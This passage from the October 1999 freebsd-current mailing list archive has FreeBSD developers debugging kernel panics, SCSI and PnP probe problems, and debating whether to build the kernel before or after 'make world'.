> >+               return(ENXIO);
> >+       softc->flags |= DA_FLAG_OPEN;
> >
> >At first glance, it would appear it's re-inquiring on each open instead
of
> the first open, including while it's mounted. I wasn't sure, so rather
than
> >risk disks, I backed the lot out and it worked again.
>
> Open is only called once on first open, so this isn't it.
>
> --
> Poul-Henning Kamp             FreeBSD coreteam member
> phk@FreeBSD.ORG               "Real hackers run -current on their laptop."
> FreeBSD -- It will take a long time before progress goes too far!
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
>



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  4:50:29 1999
Delivered-To: freebsd-current@freebsd.org
Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1])
	by hub.freebsd.org (Postfix) with ESMTP id 7CAA714E5B
	for <current@freebsd.org>; Sat,  2 Oct 1999 04:50:18 -0700 (PDT)
	(envelope-from rb@gid.co.uk)
Received: from gid.co.uk (uucp@localhost)
	by isbalham.ist.co.uk (8.9.2/8.8.7) with UUCP id MAA81520
	for freebsd.org!current; Sat, 2 Oct 1999 12:50:15 +0100 (BST)
	(envelope-from rb@gid.co.uk)
Received: from [194.32.164.2] by seagoon.gid.co.uk; Sat, 2 Oct 1999 12:42:59 +0100 (BST)
X-Sender: rb@194.32.164.1
Message-Id: <l0302090ab41bace68c82@[194.32.164.2]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 2 Oct 1999 12:42:57 +0000
To: current@freebsd.org
From: Bob Bishop <rb@gid.co.uk>
Subject: panic: free vnode isn't
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,

panic: free vnode isn't

with yesterday's kernel (cvsup Fri Oct  1 04:02:32 BST 1999), on an SMP
system early on in buildworld.

Skeletal traceback (must get serial console fixed up):

panic
getnewvnode
ffs_vget
ufs_lookup
ufs_vnoperate
vfs_cache_lookup
ufs_vnoperate
lookup
namei
unlink
syscall

dmesg etc available on request.


--
Bob Bishop              (0118) 977 4017  international code +44 118
rb@gid.co.uk        fax (0118) 989 4254  between 0800 and 1800 UK




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  5: 7: 8 1999
Delivered-To: freebsd-current@freebsd.org
Received: from arnold.neland.dk (mail.neland.dk [194.255.12.232])
	by hub.freebsd.org (Postfix) with ESMTP id 4D8FB15430
	for <freebsd-current@freebsd.org>; Sat,  2 Oct 1999 05:05:48 -0700 (PDT)
	(envelope-from leifn@neland.dk)
Received: from gina (gina.neland.dk [192.168.0.14])
	by arnold.neland.dk (8.9.3/8.9.3) with SMTP id OAA34094
	for <freebsd-current@freebsd.org>; Sat, 2 Oct 1999 14:05:46 +0200 (CEST)
	(envelope-from leifn@neland.dk)
Message-ID: <003401bf0cce$75665420$0e00a8c0@neland.dk>
From: "Leif Neland" <leifn@neland.dk>
To: <freebsd-current@freebsd.org>
Subject: /bin/sh Exec format error
Date: Sat, 2 Oct 1999 14:05:37 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

CVsup'ed current 2 oct 10 GMT.

made and installed kernel, reboot.
make world
  went for groceries(sp?)
When i came back, screen in powersave, hit return (too many times)
screen only showing "db>"
typed panic to reboot.

Now system is hosed: it fails in rc.init (thereabout), because it claims =
/bin/sh: Exec format error.
I can't enter single user mode either for same reason.

Never mind how I recover, did I do something wrong in the above =
procedure? I did install new kernel before making world as the heads up =
says.

Leif





To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  6:39:55 1999
Delivered-To: freebsd-current@freebsd.org
Received: from pozo.com (pozo.com [216.101.162.50])
	by hub.freebsd.org (Postfix) with ESMTP id AE9B415254
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 06:39:51 -0700 (PDT)
	(envelope-from mantar@pacbell.net)
Received: from dual (dual.pozo.com [216.101.162.51])
	by pozo.com (8.9.3/8.9.3) with ESMTP id GAA00241;
	Sat, 2 Oct 1999 06:39:36 -0700 (PDT)
	(envelope-from mantar@pacbell.net)
Message-Id: <4.2.1.9.19991002063849.00a97330@216.101.162.50>
X-Sender: null@216.101.162.50
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.1.9 (Beta)
Date: Sat, 02 Oct 1999 06:39:36 -0700
To: Poul-Henning Kamp <phk@critter.freebsd.dk>,
	A.Leidinger@WJPServer.CS.Uni-SB.de
From: Manfred Antar <mantar@pacbell.net>
Subject: Re: ahc failure while updating from pre-signal-change
Cc: current@FreeBSD.ORG
In-Reply-To: <17657.938863152@critter.freebsd.dk>
References: <"Your message of Sat, 02 Oct 1999 11:39:24 +0200." <199910020939.LAA01186@work.net.local>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 01:19 PM 10/02/99 +0200, Poul-Henning Kamp wrote:

>Ok, I've committed what I belive is a fix for the problem.  It was not
>the locking as Bruce suggested, although his suggestion still has a point,
>it was si_iosize_max which was uninitialized, which confuses minphys
>and subsequently various other stuff.
My problem with locking up on startup is now gone
Thanks
Manfred
=====================
||    mantar@pacbell.net       ||
||    Ph. (415) 681-6235        ||
=====================



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  7: 9:13 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mailer.tydfam.machida.tokyo.jp (ns.tydfam.machida.tokyo.jp [210.161.209.130])
	by hub.freebsd.org (Postfix) with ESMTP id C0077151BB
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 07:09:07 -0700 (PDT)
	(envelope-from ken@tydfam.machida.tokyo.jp)
Received: from localhost (ns1.tydfam.machida.tokyo.jp [210.161.209.138])
	by mailer.tydfam.machida.tokyo.jp (8.9.3/3.7W10/03/98) with ESMTP id XAA01368;
	Sat, 2 Oct 1999 23:08:26 +0900 (JST)
To: phk@critter.freebsd.dk
Cc: A.Leidinger@WJPServer.CS.Uni-SB.de, current@FreeBSD.ORG
Subject: Re: ahc failure while updating from pre-signal-change 
Reply-To: ken@tydfam.machida.tokyo.jp
In-Reply-To: Your message of "Sat, 02 Oct 1999 13:19:12 +0200"
	<17657.938863152@critter.freebsd.dk>
References: <17657.938863152@critter.freebsd.dk>
X-Mailer: Mew version 1.93 on XEmacs 20.4 (Emerald)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <19991002230810M.ken@ns1.tydfam.machida.tokyo.jp>
Date: Sat, 02 Oct 1999 23:08:10 +0900
From: Takeshi Yamada <ken@tydfam.machida.tokyo.jp>
X-Dispatcher: imput version 980905(IM100)
Lines: 10
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

  It fixed my AHC problem with ASUS P6 MB.
  Thank you!!

From: Poul-Henning Kamp <phk@critter.freebsd.dk>
phk> Ok, I've committed what I belive is a fix for the problem.  It was not
phk> the locking as Bruce suggested, although his suggestion still has a point,
phk> it was si_iosize_max which was uninitialized, which confuses minphys
phk> and subsequently various other stuff.
phk> 
phk> --


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  8:31:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id AC43A14E47
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 08:30:40 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id CA7CB1C03; Sat,  2 Oct 1999 23:30:35 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: "Daniel C. Sobral" <dcs@newsguy.com>
Cc: Marcel Moolenaar <marcel@scc.nl>,
	Daniel Eischen <eischen@vigrid.com>, des@flood.ping.uio.no,
	current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal 
In-reply-to: Your message of "Sat, 02 Oct 1999 18:01:41 +0900."
             <37F5C9F5.6A2BA9AA@newsguy.com> 
Date: Sat, 02 Oct 1999 23:30:35 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19991002153035.CA7CB1C03@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Daniel C. Sobral" wrote:
> Marcel Moolenaar wrote:
> > 
> > > But this still doesn't entirely solve the problem.  You still have
> > > to build and install a new kernel before installing the world.
> > > While this is typically what most -current folks do anyways, it
> > > still prevents backing up to a previous kernel after the install
> > > world.
> > 
> > You can easily install a kernel as part of the upgrade process. A
> > complete upgrade would be something like:
> > 
> > 1. Verify and/or install cross-compilation tools
> > 2. Build world
> > 3. Build kernel
> > 4. Copy tools that are used by the install process
> > 5. install kernel
> > 6. install world
> > 7. reboot
> > 
> > If you install a kernel before installing world, you can easily recover
> > when the install world fails: reboot. The new kernel is capable of
> > running those binaries that got installed before the breakage.
> 
> You missed the point. This is -current, right? You do all of the
> above, and then reboot and find out that the new kernel doesn't
> work. What do you do? The default procedure is to boot kernel.old.

Read my lips:   *NEVER* do a 'make world' until you've got a new bootable
kernel.  You can go back to a 'kernel.old' in 5 seconds.  Undoing a 'make
world' because a new kernel doesn't workd is a major drama.

Just Don't Do It, at least not on -current where a kernel isn't expected
to work every time.

You can run a -current userland *months* behind your kernel, as long as you
take care of libkvm and friends.

Our kernel development process is done with backwards compatability in
mind, not forward compatability.  You can't expect last week's kernel to
know about the new syscalls that are used after you committed to a
buildworld.  You can expect an old world to work though.

Many people I talk with regularly go *months* between building world but on
the other hand build a kernel every few days or so (including me).

Don't use modules if you are doing this though, or keep a /modules and /
modules.old to go with the kernel.  (ie: when you do a 'make install' of
the kernel, move /modules to /modules.old, mkdir /modules and then build/
install fresh kld's.  Modules are only really useful in -current under
certain curcumstances.  Mostly this is 1) if you are developing a subsystem
(eg: vinum) and need a rapid turnaround without a reboot, and 2) if you are
running a fairly stable build, ie: not doing recompiles for months at a
time.  Especially don't use a vinum module (for example) if you're doing
near daily kernel builds, use the static compilation option instead.

Cheers,
-Peter



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2  9:48:49 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id 2FD9614C59
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 09:48:30 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id JAA30398;
	Sat, 2 Oct 1999 09:45:30 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199910021645.JAA30398@gndrsh.dnsmgr.net>
Subject: Re: new sigset_t and upgrading: a proposal
In-Reply-To: <19991002153035.CA7CB1C03@overcee.netplex.com.au> from Peter Wemm at "Oct 2, 1999 11:30:35 pm"
To: peter@netplex.com.au (Peter Wemm)
Date: Sat, 2 Oct 1999 09:45:30 -0700 (PDT)
Cc: current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

[CC: trimmed to -current]

> > > > But this still doesn't entirely solve the problem.  You still have
> > > > to build and install a new kernel before installing the world.
> > > > While this is typically what most -current folks do anyways, it
> > > > still prevents backing up to a previous kernel after the install
> > > > world.
...

> > > If you install a kernel before installing world, you can easily recover
> > > when the install world fails: reboot. The new kernel is capable of
> > > running those binaries that got installed before the breakage.

> 
> Read my lips:   *NEVER* do a 'make world' until you've got a new bootable
> kernel.  You can go back to a 'kernel.old' in 5 seconds.  Undoing a 'make
> world' because a new kernel doesn't workd is a major drama.

These folks are 100% correct, some place some where we made a mistake
and are telling users to do things in the wrong order.  It might have
even been myself that caused this, I just can't recall when and who
said to build the world before building the kernel.  But now looking
at it in hindsight, this is plainly the wrong sequence, and we should
correct that error as soon as possible.

When did we go wrong and start saying that users should build the world
before building a new kernel?    If it was ``I'' that said it, I full
retract any such statement, I was WRONG!.  It may have been said in the
patchkit days, or very early FreeBSD 1.x.

-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 10:43: 3 1999
Delivered-To: freebsd-current@freebsd.org
Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.144.32])
	by hub.freebsd.org (Postfix) with ESMTP id 83EDC1501D
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 10:42:48 -0700 (PDT)
	(envelope-from dwhite@resnet.uoregon.edu)
Received: from localhost (dwhite@localhost)
	by resnet.uoregon.edu (8.9.3/8.9.3) with ESMTP id KAA58557;
	Sat, 2 Oct 1999 10:39:59 -0700 (PDT)
	(envelope-from dwhite@resnet.uoregon.edu)
Date: Sat, 2 Oct 1999 10:39:59 -0700 (PDT)
From: Doug White <dwhite@resnet.uoregon.edu>
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
In-Reply-To: <199910021645.JAA30398@gndrsh.dnsmgr.net>
Message-ID: <Pine.BSF.4.10.9910021038440.49531-100000@resnet.uoregon.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sat, 2 Oct 1999, Rodney W. Grimes wrote:

> > Read my lips:   *NEVER* do a 'make world' until you've got a new bootable
> > kernel.  You can go back to a 'kernel.old' in 5 seconds.  Undoing a 'make
> > world' because a new kernel doesn't workd is a major drama.
> 
> These folks are 100% correct, some place some where we made a mistake
> and are telling users to do things in the wrong order.  It might have
> even been myself that caused this, I just can't recall when and who
> said to build the world before building the kernel.  But now looking
> at it in hindsight, this is plainly the wrong sequence, and we should
> correct that error as soon as possible.

What happens if we version-bump the kernel conf files so a new version of
config is required?  You'd have to hand-build and install config first.

Or is this what we want?

Doug White                    |  FreeBSD: The Power to Serve
dwhite@resnet.uoregon.edu     |  www.FreeBSD.org



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 10:48:31 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP id D36A714FBF
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 10:47:55 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p01-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.98])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id CAA21798;
	Sun, 3 Oct 1999 02:45:03 +0900 (JST)
Message-ID: <37F6443E.D1F5A19A@newsguy.com>
Date: Sun, 03 Oct 1999 02:43:26 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <199910021645.JAA30398@gndrsh.dnsmgr.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Rodney W. Grimes" wrote:
> 
> These folks are 100% correct, some place some where we made a mistake
> and are telling users to do things in the wrong order.  It might have
> even been myself that caused this, I just can't recall when and who
> said to build the world before building the kernel.  But now looking
> at it in hindsight, this is plainly the wrong sequence, and we should
> correct that error as soon as possible.
> 
> When did we go wrong and start saying that users should build the world
> before building a new kernel?    If it was ``I'' that said it, I full
> retract any such statement, I was WRONG!.  It may have been said in the
> patchkit days, or very early FreeBSD 1.x.

It might have something to do with kernel's dependency on the tools
installed by world, such as gas, gcc and config.

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it done unto yours


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 10:58:53 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38])
	by hub.freebsd.org (Postfix) with ESMTP id E8B0E14EF2
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 10:58:34 -0700 (PDT)
	(envelope-from julian@whistle.com)
Received: from home.elischer.org (home.elischer.org [207.76.204.203])
	by alpo.whistle.com (8.9.1a/8.9.1) with ESMTP id KAA18732;
	Sat, 2 Oct 1999 10:58:26 -0700 (PDT)
Date: Sat, 2 Oct 1999 10:58:23 -0700 (PDT)
From: Julian Elischer <julian@whistle.com>
X-Sender: julian@home.elischer.org
To: Bob Bishop <rb@gid.co.uk>
Cc: current@FreeBSD.ORG
Subject: Re: panic: free vnode isn't
In-Reply-To: <l0302090ab41bace68c82@[194.32.164.2]>
Message-ID: <Pine.BSF.4.05.9910021057330.40200-100000@home.elischer.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

sft updates?
is it possible the filesystem got totally full?
(that combination prooduces a bug that kirk is looking at...)

julian


On Sat, 2 Oct 1999, Bob Bishop wrote:

> Hi,
> 
> panic: free vnode isn't
> 
> with yesterday's kernel (cvsup Fri Oct  1 04:02:32 BST 1999), on an SMP
> system early on in buildworld.
> 
> Skeletal traceback (must get serial console fixed up):
> 
> panic
> getnewvnode
> ffs_vget
> ufs_lookup
> ufs_vnoperate
> vfs_cache_lookup
> ufs_vnoperate
> lookup
> namei
> unlink
> syscall
> 
> dmesg etc available on request.
> 
> 
> --
> Bob Bishop              (0118) 977 4017  international code +44 118
> rb@gid.co.uk        fax (0118) 989 4254  between 0800 and 1800 UK
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 11: 3:53 1999
Delivered-To: freebsd-current@freebsd.org
Received: from test.tar.com (test.tar.com [204.95.187.4])
	by hub.freebsd.org (Postfix) with ESMTP id 7914A1501D
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 11:03:38 -0700 (PDT)
	(envelope-from dick@test.tar.com)
Received: (from dick@localhost)
	by test.tar.com (8.9.3/8.9.3) id NAA59184;
	Sat, 2 Oct 1999 13:00:29 -0500 (CDT)
	(envelope-from dick)
Date: Sat, 2 Oct 1999 13:00:29 -0500
From: "Richard Seaman, Jr." <dick@tar.com>
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
Message-ID: <19991002130029.E30611@tar.com>
References: <19991002153035.CA7CB1C03@overcee.netplex.com.au> <199910021645.JAA30398@gndrsh.dnsmgr.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <199910021645.JAA30398@gndrsh.dnsmgr.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sat, Oct 02, 1999 at 09:45:30AM -0700, Rodney W. Grimes wrote:

> > Read my lips:   *NEVER* do a 'make world' until you've got a new bootable
> > kernel.  You can go back to a 'kernel.old' in 5 seconds.  Undoing a 'make
> > world' because a new kernel doesn't workd is a major drama.
> 
> These folks are 100% correct, some place some where we made a mistake
> and are telling users to do things in the wrong order.  It might have
> even been myself that caused this, I just can't recall when and who
> said to build the world before building the kernel.  But now looking
> at it in hindsight, this is plainly the wrong sequence, and we should
> correct that error as soon as possible.
> 
> When did we go wrong and start saying that users should build the world
> before building a new kernel?    If it was ``I'' that said it, I full
> retract any such statement, I was WRONG!.  It may have been said in the
> patchkit days, or very early FreeBSD 1.x.

Unless I'm mistaken, the FreeBSD Tutorial "Upgrading FreeBSD from source"
tells you to "make world" before you make and install the kernel.  I take
it the tutorial is wrong? :)

-- 
Richard Seaman, Jr.           email: dick@tar.com
5182 N. Maple Lane            phone: 414-367-5450
Chenequa WI 53058             fax:   414-367-5852


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 11:16:10 1999
Delivered-To: freebsd-current@freebsd.org
Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33])
	by hub.freebsd.org (Postfix) with ESMTP id 13A3914EF2
	for <freebsd-current@freebsd.org>; Sat,  2 Oct 1999 11:14:54 -0700 (PDT)
	(envelope-from dfr@nlsystems.com)
Received: from salmon.nlsystems.com (salmon.nlsystems.com [10.0.0.3])
	by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id TAA00258;
	Sat, 2 Oct 1999 19:18:44 +0100 (BST)
	(envelope-from dfr@nlsystems.com)
Date: Sat, 2 Oct 1999 19:18:44 +0100 (BST)
From: Doug Rabson <dfr@nlsystems.com>
To: Daniel Eischen <eischen@vigrid.com>
Cc: sos@freebsd.dk, freebsd-current@freebsd.org
Subject: Re: Recent kernel hangs during boot with pnp sio.
In-Reply-To: <199910011303.JAA16640@pcnet1.pcnet.com>
Message-ID: <Pine.BSF.4.10.9910021917160.322-100000@salmon.nlsystems.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Fri, 1 Oct 1999, Daniel Eischen wrote:

> Soren Schmidt wrote:
> > It seems Daniel M. Eischen wrote:
> > > 
> > > More info on the kernel hang.
> > > 
> > > Removing pnp from the kernel configuration will allow me to boot
> > > and successfully detects my pnp modem.  So the culprit seems to
> > > be the new pnp code.  Suggestions welcome.
> > 
> > Hmm, I also have severe problems with the PnP stuff and my 3C509
> > cards, it just wont work as the pnp code finds and allocates
> > adresses for the card, but the card probe doesn't pick them up...
> 
> Here, it might be the opposite.  The normal sio probes pick up the
> pnp modem just fine, and then perhaps pnp comes along and trounces
> on what has already been setup/configured.

Could you try this patch for me. It attempts to disable pnp devices before
running the regular probes. This allows it to 'hide' those devices from
the heuristic probes so that they don't get seen twice when the pnp probe
happens.

Index: isa_common.c
===================================================================
RCS file: /home/ncvs/src/sys/isa/isa_common.c,v
retrieving revision 1.9
diff -u -r1.9 isa_common.c
--- isa_common.c	1999/09/07 08:42:47	1.9
+++ isa_common.c	1999/09/25 17:11:59
@@ -435,7 +435,21 @@
 		return;
 
 	/*
-	 * First probe all non-pnp devices so that they claim their
+	 * First disable all pnp devices so that they don't get
+	 * matched by legacy probes.
+	 */
+	for (i = 0; i < nchildren; i++) {
+		device_t child = children[i];
+		struct isa_device *idev = DEVTOISA(child);
+		struct isa_config config;
+
+		bzero(&config, sizeof config);
+		if (idev->id_config_cb)
+			idev->id_config_cb(idev->id_config_arg, &config, 0);
+	}
+
+	/*
+	 * Next probe all non-pnp devices so that they claim their
 	 * resources first.
 	 */
 	for (i = 0; i < nchildren; i++) {
@@ -449,7 +463,7 @@
 	}
 
 	/*
-	 * Next assign resource to pnp devices and probe them.
+	 * Finally assign resource to pnp devices and probe them.
 	 */
 	for (i = 0; i < nchildren; i++) {
 		device_t child = children[i];

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 11:35:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133])
	by hub.freebsd.org (Postfix) with ESMTP id D760915278
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 11:34:56 -0700 (PDT)
	(envelope-from mark@grondar.za)
Received: from grondar.za (localhost [127.0.0.1])
	by gratis.grondar.za (8.9.3/8.9.3) with ESMTP id UAA64964;
	Sat, 2 Oct 1999 20:30:11 +0200 (SAST)
	(envelope-from mark@grondar.za)
Message-Id: <199910021830.UAA64964@gratis.grondar.za>
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: peter@netplex.com.au (Peter Wemm), current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal 
Date: Sat, 02 Oct 1999 20:30:07 +0200
From: Mark Murray <mark@grondar.za>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> When did we go wrong and start saying that users should build the world
> before building a new kernel?    If it was ``I'' that said it, I full
> retract any such statement, I was WRONG!.  It may have been said in the
> patchkit days, or very early FreeBSD 1.x.

It's been "common culture" ever since I can remember (at least three years).

M
--
Mark Murray
Join the anti-SPAM movement: http://www.cauce.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 11:36:55 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133])
	by hub.freebsd.org (Postfix) with ESMTP id 6F2D015319
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 11:36:11 -0700 (PDT)
	(envelope-from mark@grondar.za)
Received: from grondar.za (localhost [127.0.0.1])
	by gratis.grondar.za (8.9.3/8.9.3) with ESMTP id UAA64964;
	Sat, 2 Oct 1999 20:30:11 +0200 (SAST)
	(envelope-from mark@grondar.za)
Message-Id: <199910021830.UAA64964@gratis.grondar.za>
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: peter@netplex.com.au (Peter Wemm), current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal 
Date: Sat, 02 Oct 1999 20:30:07 +0200
From: Mark Murray <mark@grondar.za>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> When did we go wrong and start saying that users should build the world
> before building a new kernel?    If it was ``I'' that said it, I full
> retract any such statement, I was WRONG!.  It may have been said in the
> patchkit days, or very early FreeBSD 1.x.

It's been "common culture" ever since I can remember (at least three years).

M
--
Mark Murray
Join the anti-SPAM movement: http://www.cauce.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 12:21: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP
	id 381DA15394; Sat,  2 Oct 1999 12:20:58 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id MAA05216;
	Sat, 2 Oct 1999 12:20:52 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id MAA32671;
	Sat, 2 Oct 1999 12:20:51 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.991002122051.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <19991002011955.A85828@dragon.nuxi.com>
Date: Sat, 02 Oct 1999 12:20:51 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: "David O'Brien" <obrien@freebsd.org>
Subject: Re: Now that sigcontext is gone ...
Cc: current@freebsd.org, Alan Cox <alc@cs.rice.edu>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

David O'Brien wrote:
>> > P.S.  This also reminds me that FreeBSD is non-standard relative
>> > to Linux and all of the major vender commercial Unices in that a disallowed
>> > access, such as a write to a read-only region of memory, generates
>> > a SIGBUS rather than a SIGSEGV.
